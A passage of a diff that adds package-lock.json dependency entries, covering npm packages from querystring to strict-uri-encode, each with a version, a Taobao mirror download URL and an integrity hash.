"https://registry.npm.taobao.org/querystring/download/querystring-0.2.0.tgz?cache=0&sync_timestamp=1613399913000&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fquerystring%2Fdownload%2Fquerystring-0.2.0.tgz", + "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", + "dev": true + }, + "querystring-es3": { + "version": "0.2.1", + "resolved": "https://registry.npm.taobao.org/querystring-es3/download/querystring-es3-0.2.1.tgz", + "integrity": "sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=", + "dev": true + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/randombytes/download/randombytes-2.1.0.tgz", + "integrity": "sha1-32+ENy8CcNxlzfYpE0mrekc9Tyo=", + "dev": true, + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "randomfill": { + "version": "1.0.4", + "resolved": "https://registry.npm.taobao.org/randomfill/download/randomfill-1.0.4.tgz", + "integrity": "sha1-ySGW/IarQr6YPxvzF3giSTHWFFg=", + "dev": true, + "requires": { + "randombytes": "^2.0.5", + "safe-buffer": "^5.1.0" + } + }, + "randomstring": { + "version": "1.1.5", + "resolved": "https://registry.npm.taobao.org/randomstring/download/randomstring-1.1.5.tgz", + "integrity": "sha1-bfBij3XL1ZMpMNn+OrTpVqGFGMM=", + "requires": { + "array-uniq": "1.0.2" + } + }, + "read-pkg": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/read-pkg/download/read-pkg-1.1.0.tgz", + "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", + "dev": true, + "requires": { + "load-json-file": "^1.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^1.0.0" + } + }, + "read-pkg-up": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-1.0.1.tgz", + "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", + "dev": true, + "requires": { + "find-up": "^1.0.0", + "read-pkg": "^1.0.0" + }, + "dependencies": { + "find-up": { + "version": "1.1.2", + "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-1.1.2.tgz?cache=0&sync_timestamp=1597169795121&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffind-up%2Fdownload%2Ffind-up-1.1.2.tgz", + "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", + "dev": true, + "requires": { + "path-exists": "^2.0.0", + "pinkie-promise": "^2.0.0" + } + }, + "path-exists": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/path-exists/download/path-exists-2.1.0.tgz", + "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", + "dev": true, + "requires": { + "pinkie-promise": "^2.0.0" + } + } + } + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz", + "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npm.taobao.org/readdirp/download/readdirp-2.2.1.tgz", + "integrity": "sha1-DodiKjMlqjPokihcr4tOhGUppSU=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.11", + "micromatch": "^3.1.10", + "readable-stream": "^2.0.2" + } + }, + "recast": { + "version": "0.11.23", + "resolved": "https://registry.npm.taobao.org/recast/download/recast-0.11.23.tgz?cache=0&sync_timestamp=1602525693706&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Frecast%2Fdownload%2Frecast-0.11.23.tgz", + "integrity": "sha1-RR/TAEqx5N+bTktmN2sqIZEkYtM=", + "dev": true, + "requires": { + "ast-types": "0.9.6", + "esprima": "~3.1.0", + "private": "~0.1.5", + "source-map": "~0.5.0" + }, + "dependencies": { + "esprima": { + "version": "3.1.3", + "resolved": "https://registry.npm.taobao.org/esprima/download/esprima-3.1.3.tgz", + "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=", + "dev": true + } + } + }, + "rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npm.taobao.org/rechoir/download/rechoir-0.6.2.tgz", + "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=", + "dev": true, + "requires": { + "resolve": "^1.1.6" + } + }, + "regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npm.taobao.org/regenerate/download/regenerate-1.4.2.tgz?cache=0&sync_timestamp=1604218439731&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregenerate%2Fdownload%2Fregenerate-1.4.2.tgz", + "integrity": "sha1-uTRtiCfo9aMve6KWN9OYtpAUhIo=", + "dev": true + }, + "regenerate-unicode-properties": { + "version": "8.2.0", + "resolved": "https://registry.npm.taobao.org/regenerate-unicode-properties/download/regenerate-unicode-properties-8.2.0.tgz", + "integrity": "sha1-5d5xEdZV57pgwFfb6f83yH5lzew=", + "dev": true, + "requires": { + "regenerate": "^1.4.0" + } + }, + "regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npm.taobao.org/regenerator-runtime/download/regenerator-runtime-0.11.1.tgz?cache=0&sync_timestamp=1595456105304&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregenerator-runtime%2Fdownload%2Fregenerator-runtime-0.11.1.tgz", + "integrity": "sha1-vgWtf5v30i4Fb5cmzuUBf78Z4uk=" + }, + "regenerator-transform": { + "version": "0.14.5", + "resolved": "https://registry.npm.taobao.org/regenerator-transform/download/regenerator-transform-0.14.5.tgz?cache=0&sync_timestamp=1593557394730&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregenerator-transform%2Fdownload%2Fregenerator-transform-0.14.5.tgz", + "integrity": "sha1-yY2hVGg2ccnE3LFuznNlF+G3/rQ=", + "dev": true, + "requires": { + "@babel/runtime": "^7.8.4" + } + }, + "regex-not": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/regex-not/download/regex-not-1.0.2.tgz", + "integrity": "sha1-H07OJ+ALC2XgJHpoEOaoXYOldSw=", + "dev": true, + "requires": { + "extend-shallow": "^3.0.2", + "safe-regex": "^1.1.0" + } + }, + "regexpu-core": { + "version": "4.7.1", + "resolved": "https://registry.npm.taobao.org/regexpu-core/download/regexpu-core-4.7.1.tgz?cache=0&sync_timestamp=1600413905865&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregexpu-core%2Fdownload%2Fregexpu-core-4.7.1.tgz", + "integrity": "sha1-LepamgcjMpj78NuR+pq8TG4PitY=", + "dev": true, + "requires": { + "regenerate": "^1.4.0", + "regenerate-unicode-properties": "^8.2.0", + "regjsgen": "^0.5.1", + "regjsparser": "^0.6.4", + "unicode-match-property-ecmascript": "^1.0.4", + "unicode-match-property-value-ecmascript": "^1.2.0" + } + }, + "regjsgen": { + "version": "0.5.2", + "resolved": "https://registry.npm.taobao.org/regjsgen/download/regjsgen-0.5.2.tgz", + "integrity": "sha1-kv8pX7He7L9uzaslQ9IH6RqjNzM=", + "dev": true + }, + "regjsparser": { + "version": "0.6.7", + "resolved": "https://registry.npm.taobao.org/regjsparser/download/regjsparser-0.6.7.tgz?cache=0&sync_timestamp=1612023268678&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregjsparser%2Fdownload%2Fregjsparser-0.6.7.tgz", + "integrity": "sha1-wAFk4eZxPC4+5kHxcBxLeqCn+Gw=", + "dev": true, + "requires": { + "jsesc": "~0.5.0" + }, + "dependencies": { + "jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npm.taobao.org/jsesc/download/jsesc-0.5.0.tgz?cache=0&sync_timestamp=1603891198638&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjsesc%2Fdownload%2Fjsesc-0.5.0.tgz", + "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", + "dev": true + } + } + }, + "remove-bom-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/remove-bom-buffer/download/remove-bom-buffer-3.0.0.tgz", + "integrity": "sha1-wr8eN3Ug0yT2I4kuM8EMrCwlK1M=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5", + "is-utf8": "^0.2.1" + } + }, + "remove-bom-stream": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/remove-bom-stream/download/remove-bom-stream-1.2.0.tgz", + "integrity": "sha1-BfGlk/FuQuH7kOv1nejlaVJflSM=", + "dev": true, + "requires": { + "remove-bom-buffer": "^3.0.0", + "safe-buffer": "^5.1.0", + "through2": "^2.0.3" + } + }, + "remove-trailing-separator": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/remove-trailing-separator/download/remove-trailing-separator-1.1.0.tgz", + "integrity": "sha1-wkvOKig62tW8P1jg1IJJuSN52O8=", + "dev": true + }, + "repeat-element": { + "version": "1.1.3", + "resolved": "https://registry.npm.taobao.org/repeat-element/download/repeat-element-1.1.3.tgz", + "integrity": "sha1-eC4NglwMWjuzlzH4Tv7mt0Lmsc4=", + "dev": true + }, + "repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npm.taobao.org/repeat-string/download/repeat-string-1.6.1.tgz", + "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", + "dev": true + }, + "replace-ext": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/replace-ext/download/replace-ext-1.0.1.tgz", + "integrity": "sha1-LW2ZbQShWFXZZ0Q2Md1fd4JbAWo=", + "dev": true + }, + "replace-homedir": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/replace-homedir/download/replace-homedir-1.0.0.tgz", + "integrity": "sha1-6H9tUTuSjd6AgmDBK+f+xv9ueYw=", + "dev": true, + "requires": { + "homedir-polyfill": "^1.0.1", + "is-absolute": "^1.0.0", + "remove-trailing-separator": "^1.1.0" + } + }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/require-directory/download/require-directory-2.1.1.tgz", + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "dev": true + }, + "require-main-filename": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/require-main-filename/download/require-main-filename-1.0.1.tgz", + "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", + "dev": true + }, + "resize-observer-polyfill": { + "version": "1.5.1", + "resolved": "https://registry.npm.taobao.org/resize-observer-polyfill/download/resize-observer-polyfill-1.5.1.tgz", + "integrity": "sha1-DpAg3T0hAkRY1OvSfiPkAmmBBGQ=" + }, + "resolve": { + "version": "1.20.0", + "resolved": "https://registry.npm.taobao.org/resolve/download/resolve-1.20.0.tgz", + "integrity": "sha1-YpoBP7P3B1XW8LeTXMHCxTeLGXU=", + "dev": true, + "requires": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + } + }, + "resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/resolve-cwd/download/resolve-cwd-3.0.0.tgz", + "integrity": "sha1-DwB18bslRHZs9zumpuKt/ryxPy0=", + "dev": true, + "requires": { + "resolve-from": "^5.0.0" + } + }, + "resolve-dir": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/resolve-dir/download/resolve-dir-1.0.1.tgz", + "integrity": "sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=", + "dev": true, + "requires": { + "expand-tilde": "^2.0.0", + "global-modules": "^1.0.0" + } + }, + "resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-5.0.0.tgz", + "integrity": "sha1-w1IlhD3493bfIcV1V7wIfp39/Gk=", + "dev": true + }, + "resolve-options": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/resolve-options/download/resolve-options-1.1.0.tgz", + "integrity": "sha1-MrueOcBtZzONyTeMDW1gdFZq0TE=", + "dev": true, + "requires": { + "value-or-function": "^3.0.0" + } + }, + "resolve-url": { + "version": "0.2.1", + "resolved": "https://registry.npm.taobao.org/resolve-url/download/resolve-url-0.2.1.tgz", + "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", + "dev": true + }, + "ret": { + "version": "0.1.15", + "resolved": "https://registry.npm.taobao.org/ret/download/ret-0.1.15.tgz?cache=0&sync_timestamp=1613002712228&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fret%2Fdownload%2Fret-0.1.15.tgz", + "integrity": "sha1-uKSCXVvbH8P29Twrwz+BOIaBx7w=", + "dev": true + }, + "right-align": { + "version": "0.1.3", + "resolved": "https://registry.npm.taobao.org/right-align/download/right-align-0.1.3.tgz", + "integrity": "sha1-YTObci/mo1FWiSENJOFMlhSGE+8=", + "dev": true, + "requires": { + "align-text": "^0.1.1" + } + }, + "rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npm.taobao.org/rimraf/download/rimraf-2.7.1.tgz", + "integrity": "sha1-NXl/E6f9rcVmFCwp1PB8ytSD4+w=", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "ripemd160": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/ripemd160/download/ripemd160-2.0.2.tgz", + "integrity": "sha1-ocGm9iR1FXe6XQeRTLyShQWFiQw=", + "dev": true, + "requires": { + "hash-base": "^3.0.0", + "inherits": "^2.0.1" + } + }, + "run-queue": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/run-queue/download/run-queue-1.0.3.tgz", + "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", + "dev": true, + "requires": { + "aproba": "^1.1.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.1.2.tgz", + "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0=", + "dev": true + }, + "safe-regex": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/safe-regex/download/safe-regex-1.1.0.tgz", + "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", + "dev": true, + "requires": { + "ret": "~0.1.10" + } + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npm.taobao.org/safer-buffer/download/safer-buffer-2.1.2.tgz", + "integrity": "sha1-RPoWGwGHuVSd2Eu5GAL5vYOFzWo=", + "dev": true + }, + "schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-2.7.1.tgz", + "integrity": "sha1-HKTzLRskxZDCA7jnpQvw6kzTlNc=", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + } + }, + "select": { + "version": "1.1.2", + "resolved": "https://registry.npm.taobao.org/select/download/select-1.1.2.tgz", + "integrity": "sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0=" + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npm.taobao.org/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1606853731020&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz", + "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0=", + "dev": true + }, + "semver-greatest-satisfied-range": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/semver-greatest-satisfied-range/download/semver-greatest-satisfied-range-1.1.0.tgz", + "integrity": "sha1-E+jCZYq5aRywzXEJMkAoDTb3els=", + "dev": true, + "requires": { + "sver-compat": "^1.5.0" + } + }, + "serialize-javascript": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/serialize-javascript/download/serialize-javascript-4.0.0.tgz", + "integrity": "sha1-tSXhI4SJpez8Qq+sw/6Z5mb0sao=", + "dev": true, + "requires": { + "randombytes": "^2.1.0" + } + }, + "set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/set-blocking/download/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", + "dev": true + }, + "set-value": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/set-value/download/set-value-2.0.1.tgz", + "integrity": "sha1-oY1AUw5vB95CKMfe/kInr4ytAFs=", + "dev": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.3", + "split-string": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npm.taobao.org/setimmediate/download/setimmediate-1.0.5.tgz", + "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=", + "dev": true + }, + "sha.js": { + "version": "2.4.11", + "resolved": "https://registry.npm.taobao.org/sha.js/download/sha.js-2.4.11.tgz", + "integrity": "sha1-N6XPC4HsvGlD3hCbopYNGyZYSuc=", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npm.taobao.org/shallow-clone/download/shallow-clone-3.0.1.tgz", + "integrity": "sha1-jymBrZJTH1UDWwH7IwdppA4C76M=", + "dev": true, + "requires": { + "kind-of": "^6.0.2" + } + }, + "shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/shebang-command/download/shebang-command-2.0.0.tgz", + "integrity": "sha1-zNCvT4g1+9wmW4JGGq8MNmY/NOo=", + "dev": true, + "requires": { + "shebang-regex": "^3.0.0" + } + }, + "shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-3.0.0.tgz", + "integrity": "sha1-rhbxZE2HPsrYQ7AwexQzYtTEIXI=", + "dev": true + }, + "shellwords": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/shellwords/download/shellwords-0.1.1.tgz", + "integrity": "sha1-1rkYHBpI05cyTISHHvvPxz/AZUs=", + "dev": true + }, + "signal-exit": { + "version": "3.0.3", + "resolved": "https://registry.npm.taobao.org/signal-exit/download/signal-exit-3.0.3.tgz", + "integrity": "sha1-oUEMLt2PB3sItOJTyOrPyvBXRhw=", + "dev": true + }, + "snapdragon": { + "version": "0.8.2", + "resolved": "https://registry.npm.taobao.org/snapdragon/download/snapdragon-0.8.2.tgz", + "integrity": "sha1-ZJIufFZbDhQgS6GqfWlkJ40lGC0=", + "dev": true, + "requires": { + "base": "^0.11.1", + "debug": "^2.2.0", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "map-cache": "^0.2.2", + "source-map": "^0.5.6", + "source-map-resolve": "^0.5.0", + "use": "^3.1.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566580543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz", + "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433905701&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + } + } + }, + "snapdragon-node": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/snapdragon-node/download/snapdragon-node-2.1.1.tgz", + "integrity": "sha1-bBdfhv8UvbByRWPo88GwIaKGhTs=", + "dev": true, + "requires": { + "define-property": "^1.0.0", + "isobject": "^3.0.0", + "snapdragon-util": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz", + "integrity": "sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz", + "integrity": "sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + } + } + }, + "snapdragon-util": { + "version": "3.0.1", + "resolved": "https://registry.npm.taobao.org/snapdragon-util/download/snapdragon-util-3.0.1.tgz", + "integrity": "sha1-+VZHlIbyrNeXAGk/b3uAXkWrVuI=", + "dev": true, + "requires": { + "kind-of": "^3.2.0" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/source-list-map/download/source-list-map-2.0.1.tgz", + "integrity": "sha1-OZO9hzv8SEecyp6jpUeDXHwVSzQ=", + "dev": true + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true + }, + "source-map-resolve": { + "version": "0.5.3", + "resolved": "https://registry.npm.taobao.org/source-map-resolve/download/source-map-resolve-0.5.3.tgz", + "integrity": "sha1-GQhmvs51U+H48mei7oLGBrVQmho=", + "dev": true, + "requires": { + "atob": "^2.1.2", + "decode-uri-component": "^0.2.0", + "resolve-url": "^0.2.1", + "source-map-url": "^0.4.0", + "urix": "^0.1.0" + } + }, + "source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npm.taobao.org/source-map-support/download/source-map-support-0.5.19.tgz", + "integrity": "sha1-qYti+G3K9PZzmWSMCFKRq56P7WE=", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true + } + } + }, + "source-map-url": { + "version": "0.4.1", + "resolved": "https://registry.npm.taobao.org/source-map-url/download/source-map-url-0.4.1.tgz?cache=0&sync_timestamp=1612211015749&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsource-map-url%2Fdownload%2Fsource-map-url-0.4.1.tgz", + "integrity": "sha1-CvZmBadFpaL5HPG7+KevvCg97FY=", + "dev": true + }, + "sparkles": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/sparkles/download/sparkles-1.0.1.tgz", + "integrity": "sha1-AI22XtzmxQ7sDF4ijhlFBh3QQ3w=", + "dev": true + }, + "spdx-correct": { + "version": "3.1.1", + "resolved": "https://registry.npm.taobao.org/spdx-correct/download/spdx-correct-3.1.1.tgz", + "integrity": "sha1-3s6BrJweZxPl99G28X1Gj6U9iak=", + "dev": true, + "requires": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-exceptions": { + "version": "2.3.0", + "resolved": "https://registry.npm.taobao.org/spdx-exceptions/download/spdx-exceptions-2.3.0.tgz", + "integrity": "sha1-PyjOGnegA3JoPq3kpDMYNSeiFj0=", + "dev": true + }, + "spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npm.taobao.org/spdx-expression-parse/download/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha1-z3D1BILu/cmOPOCmgz5KU87rpnk=", + "dev": true, + "requires": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-license-ids": { + "version": "3.0.7", + "resolved": "https://registry.npm.taobao.org/spdx-license-ids/download/spdx-license-ids-3.0.7.tgz?cache=0&sync_timestamp=1606610843748&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fspdx-license-ids%2Fdownload%2Fspdx-license-ids-3.0.7.tgz", + "integrity": "sha1-6cGKQQ5e1+EkQqVJ+9ivp2cDjWU=", + "dev": true + }, + "split-on-first": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/split-on-first/download/split-on-first-1.1.0.tgz?cache=0&sync_timestamp=1606066072418&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsplit-on-first%2Fdownload%2Fsplit-on-first-1.1.0.tgz", + "integrity": "sha1-9hCv7uOxK84dDDBCXnY5i3gkml8=" + }, + "split-string": { + "version": "3.1.0", + "resolved": "https://registry.npm.taobao.org/split-string/download/split-string-3.1.0.tgz", + "integrity": "sha1-fLCd2jqGWFcFxks5pkZgOGguj+I=", + "dev": true, + "requires": { + "extend-shallow": "^3.0.0" + } + }, + "sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npm.taobao.org/sprintf-js/download/sprintf-js-1.1.2.tgz", + "integrity": "sha1-2hdlJiv4wPVxdJ8q1sJjACB65nM=" + }, + "ssf": { + "version": "0.11.2", + "resolved": "https://registry.npm.taobao.org/ssf/download/ssf-0.11.2.tgz", + "integrity": "sha1-C5lpiyN1SNCI/EPN8rcMGnUSwGw=", + "requires": { + "frac": "~1.1.2" + } + }, + "ssri": { + "version": "6.0.1", + "resolved": "https://registry.npm.taobao.org/ssri/download/ssri-6.0.1.tgz", + "integrity": "sha1-KjxBso3UW2K2Nnbst0ABJlrp7dg=", + "dev": true, + "requires": { + "figgy-pudding": "^3.5.1" + } + }, + "stack-trace": { + "version": "0.0.10", + "resolved": "https://registry.npm.taobao.org/stack-trace/download/stack-trace-0.0.10.tgz", + "integrity": "sha1-VHxws0fo0ytOEI6hoqFZ5f3eGcA=", + "dev": true + }, + "static-extend": { + "version": "0.1.2", + "resolved": "https://registry.npm.taobao.org/static-extend/download/static-extend-0.1.2.tgz", + "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", + "dev": true, + "requires": { + "define-property": "^0.2.5", + "object-copy": "^0.1.0" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "^0.1.0" + } + } + } + }, + "stream-browserify": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/stream-browserify/download/stream-browserify-2.0.2.tgz", + "integrity": "sha1-h1IdOKRKp+6RzhzSpH3wy0ndZgs=", + "dev": true, + "requires": { + "inherits": "~2.0.1", + "readable-stream": "^2.0.2" + } + }, + "stream-each": { + "version": "1.2.3", + "resolved": "https://registry.npm.taobao.org/stream-each/download/stream-each-1.2.3.tgz", + "integrity": "sha1-6+J6DDibBPvMIzZClS4Qcxr6m64=", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "stream-shift": "^1.0.0" + } + }, + "stream-exhaust": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/stream-exhaust/download/stream-exhaust-1.0.2.tgz", + "integrity": "sha1-rNrI2lnvK8HheiwMz2wyDRIOVV0=", + "dev": true + }, + "stream-http": { + "version": "2.8.3", + "resolved": "https://registry.npm.taobao.org/stream-http/download/stream-http-2.8.3.tgz", + "integrity": "sha1-stJCRpKIpaJ+xP6JM6z2I95lFPw=", + "dev": true, + "requires": { + "builtin-status-codes": "^3.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.3.6", + "to-arraybuffer": "^1.0.0", + "xtend": "^4.0.0" + } + }, + "stream-shift": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/stream-shift/download/stream-shift-1.0.1.tgz", + "integrity": "sha1-1wiCgVWasneEJCebCHfaPDktWj0=", + "dev": true + }, + "strict-uri-encode": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/strict-uri-encode/download/strict-uri-encode-2.0.0.tgz", + "integrity": 